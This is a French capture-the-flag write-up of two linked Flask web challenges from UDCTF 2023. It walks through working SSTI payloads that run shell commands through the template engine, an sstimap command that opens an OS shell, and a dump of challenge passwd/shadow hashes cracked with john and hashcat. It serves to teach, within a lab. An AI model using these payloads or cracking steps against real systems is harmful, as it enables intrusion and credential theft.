Home

/

CTFs

/

UDCTF

/

Just Cat The Flask

Just Cat The Flask

WU of 2 linked Web challenges of UDCTF 2023

Web

~4 minutes

M58

Just Cat The Flask 1/2

129 solves - 100 points

Description

https://bluehens-cat-the-flask.chals.io/greeting/hackers

Given Files

X

Solution

Le titre du challenge fait référence à FLASK, un framework python pour créer des applications web. On peut donc supposer que le challenge est une faille de type SSTI (Server Side Template Injection).

On peut essayer de modifier l'URL :

https://bluehens-cat-the-flask.chals.io/greeting/test

Le site nous return Welcome test!

On peut alors essayer d'injecter du code python dans l'URL :

https://bluehens-cat-the-flask.chals.io/greeting/{{1+1}}

Le site nous return Hi 2!

On peut alors essayer d'injecter du code python pour lister le répertoire courant :

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()%20%7D%7D

Le site nous return :

Hi chall.py flag1.txt requirements.txt sum_suckers_creds !

Et enfin on peut ouvrir le fichier flag1.txt :

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('cat%20flag1.txt').read()%20%7D%7D

On obtient le premier flag : UDCTF{l4y3r_1_c0mpl3t3_g00d_luck_w1th_p4rt_2}

Just Cat The Flask 2/2

13 solves - 495 points

Description

(The pasword is the flag, format UDCTF{...} TARGET THE MOST IMPORTANT PERSON... )

Given Files

X

Solution

L'URL est la même pour cette 2ème partie du challenge, nous allons donc essayé de trouver ce second flag.

On regarde dans un premier temps notre chemin actuel :

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('pwd').read()%20%7D%7D

Le site nous return : Welcome /home/ctf !

On ne peut pas lister le répertoire /home avec nos droits actuels.

Seulement dans l'étape précédente, nous avons vu que nous avions un dossier sum_suckers_creds, nous allons donc essayer de le lister :

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('ls%20sum_suckers_creds').read()%20%7D%7D

En réponse nous avons : Hello passwd shadow !

On peut essayer de cat les fichiers passwd et shadow :

https://bluehens-cat-the-flask.chals.io/greeting/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('cat%20sum_suckers_creds/*').read()%20%7D%7D

Le site nous renvoie un Not Found.

On va plutôt essayer d'obtenir un shell avec sstimap: python3 sstimap.py -u https://bluehens-cat-the-flask.chals.io/greeting/{{7*7}} --os-shell

Après un peu de temps nous obtenons un shell avec l'utilisateur ctf:

posix-linux $ whoami
ctf

On peut alors lister sum_suckers_creds/passwd et sum_suckers_creds/shadow :

posix-linux $ cat sum_suckers_creds/*
root❌0:0:root:/root:/usr/bin/zsh
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt❌42:65534::/nonexistent:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync❌997:997:systemd Time Synchronization:/:/usr/sbin/nologin
karen❌1003:1003:e,e,e,ee,e:/home/karen:/bin/bash
vip❌1004:1004:s,s,s,s,s:/home/shrek:/bin/bash
root:$1$JgcFDliZ$ZIZdkgJ.xnaUBrBZSbDxL.:19612:0:99999:7:::
daemon:*:19590:0:99999:7:::
bin:*:19590:0:99999:7:::
sys:*:19590:0:99999:7:::
sync:*:19590:0:99999:7:::
games:*:19590:0:99999:7:::
man:*:19590:0:99999:7:::
lp:*:19590:0:99999:7:::
mail:*:19590:0:99999:7:::
news:*:19590:0:99999:7:::
uucp:*:19590:0:99999:7:::
proxy:*:19590:0:99999:7:::
www-data:*:19590:0:99999:7:::
backup:*:19590:0:99999:7:::
list:*:19590:0:99999:7:::
irc:*:19590:0:99999:7:::
_apt:*:19590:0:99999:7:::
nobody:*:19590:0:99999:7:::
systemd-network:!*:19590::::::
systemd-timesync:!*:19590::::::
karen:$1$EImme.sA$dxaxqbP8rphkRv.LDWUJA0:19643:0:99999:7:::
vip:$1$SI/aHxuY$YaNGjV9fqbJojcQhmBSH30:19643:0:99999:7:::

On trouve 3 utilisateurs potentiels : karen, vip et root. Avec john the ripper on trouve rapidement le mot de passe de karen et du root :

password123 (karen)
yainsecure07 (root)

Pour l'utilisateur vip on va utiliser hashcat et tenté BEAUCOUP de combinaisons d'arguments / méthodes de hashage / règles. On finit par trouver le mot de passe :

hashcat -m 500 -S -a 7 hash.txt /usr/share/wordlists/rockyou.txt --force

On trouve le mot de passe : 1708antiflag1708

Le flag est donc :

UDCTF{1708antiflag1708}